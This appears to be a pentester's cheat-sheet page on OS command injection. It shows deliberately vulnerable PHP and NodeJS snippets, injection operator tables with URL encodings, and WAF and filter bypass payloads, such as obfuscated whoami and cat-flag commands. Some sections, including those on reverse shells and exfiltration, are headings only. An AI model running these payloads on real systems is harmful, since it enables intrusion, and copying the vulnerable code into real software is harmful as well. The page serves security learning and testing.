Command Injection
OS Command Injections
PHP Example
exec, system, shell_exec, passthru, or popen functions to execute commands
<?php
if (isset($_GET['filename'])) {
system("touch /tmp/" . $_GET['filename'] . ".pdf");
}
?>NodeJS Example
child_process.exec or child_process.spawn
app.get("/createfile", function(req, res){
child_process.exec(`touch /tmp/${req.query.filename}.txt`);
})Vulnerable Parameters
Top 25 parameters that could be vulnerable
?cmd={payload}
?exec={payload}
?command={payload}
?execute{payload}
?ping={payload}
?query={payload}
?jump={payload}
?code={payload}
?reg={payload}
?do={payload}
?func={payload}
?arg={payload}
?option={payload}
?load={payload}
?process={payload}
?step={payload}
?read={payload}
?function={payload}
?req={payload}
?feature={payload}
?exe={payload}
?module={payload}
?payload={payload}
?run={payload}
?print={payload}Detection
Injection Operator
Injection Character
URL-Encoded Character
Executed Command
Semicolon
;
%3b
Both
New Line
%0a
Both
Background
&
%26
Both (second output generally shown first)
Pipe
|
%7c
Both (only second output is shown)
AND
&&
%26%26
Both (only if first succeeds)
OR
|
%7c%7c
Second (only if first fails)
Sub-Shell
``
%60%60
Both (Linux-only)
Sub-Shell
$()
%24%28%29
Both (Linux-only)
Confirm with time command
Basic Payloads
Bypassing Front-End Validation
Intercept and add input

AND Operator
URL-encoding it - see Detection Table or Use Burp
%26%26

OR Operator
%7c%7c - see Detection Table or Use Burp
Execution if the first command fail

Operators
Injection Type
Operators
SQL Injection
' , ; -- /* */
Command Injection
; &&
LDAP Injection
* ( ) & |
XPath Injection
' or and not substring concat count
OS Command Injection
; & |
Code Injection
' ; -- /* */ $() ${} #{} %{} ^
Directory Traversal/File Path Traversal
../ ..\\ %00
Object Injection
; & |
XQuery Injection
' ; -- /* */
Shellcode Injection
\x \u %u %n
Header Injection
\r %0d %0a %09
Blind OS Command Injection
Detection

Reverse shell
Blind OS command injection - Redirect output
Blind OS command injection - out of band OAST
Detection
Exfiltration
WAF
Blacklisted Characters
Identifying Blacklisted Character
One at a time: 127.0.0.1; - Use URL encoding -see Detection Table or Use Burp

Bypassing Space Filters
Bypass Blacklisted Operators
Bypass Blacklisted Spaces
127.0.0.1%0a whoami
A space is a commonly blacklisted character, especially if the input should not contain any spaces
Using Tabs
Using tabs (%09) instead of spaces is a technique that may work
127.0.0.1%0a%09
Using $IFS
127.0.0.1%0a${IFS}
Using Brace Expansion
127.0.0.1%0a{ls,-la}

More space filter bypass:
Bypassing Other Blacklisted Characters
Linux
One technique we can use for replacing slashes (or any other character) is through Linux Environment Variables
127.0.0.1; ls /home
RS Socat
semi-colon character
semi-colon and a space
127.0.0.1${LS_COLORS:10:1}${IFS}

Windows
slash - cmd:
slash - powershell
Character Shifting
slash
semi-colon
Bypassing Blacklisted Commands
Commands Blacklist
Linux & Windows
127.0.0.1%0aw'h'o'am'i


cat - Invalid Input

127.0.0.1%0a%09c'a't%09${PATH:0:1}home${PATH:0:1}1nj3c70r${PATH:0:1}flag.txt

Linux Only
backslash \ and the positional parameter character $@ are ignored
Windows Only
caret (^)
Advanced Command Obfuscation
Case Manipulation
WHOAMI => WhOaMi
Replace space (blacklisted) with %09


Reversed Commands

Encoded Commands
Replace space (blacklisted) with %09

Even if some commands were filtered, like bash or base64, we could bypass that filter with the techniques we discussed in the previous section (e.g., character insertion), or use other alternatives like sh for command execution and openssl for b64 decoding, or xxd for hex decoding.
More Techniques
Obfuscated Commands
List of commands obfuscated as wordlist to test possible WAF filter bypass:
List from payloadallthethings (with some change)
Fuzzing - Cluster bomb


List Detection
List Obfuscated Commands




Evasion Tools
Linux (Bashfuscator)
Windows (DOSfuscation)
Payloads
Tools
Interesting Books
Interesting BooksThe Web Application Hacker’s Handbook The go-to manual for web app pentesters. Covers XSS, SQLi, logic flaws, and more
Bug Bounty Bootcamp: The Guide to Finding and Reporting Web Vulnerabilities Learn how to perform reconnaissance on a target, how to identify vulnerabilities, and how to exploit them
Real-World Bug Hunting: A Field Guide to Web Hacking Learn about the most common types of bugs like cross-site scripting, insecure direct object references, and server-side request forgery.
Last updated
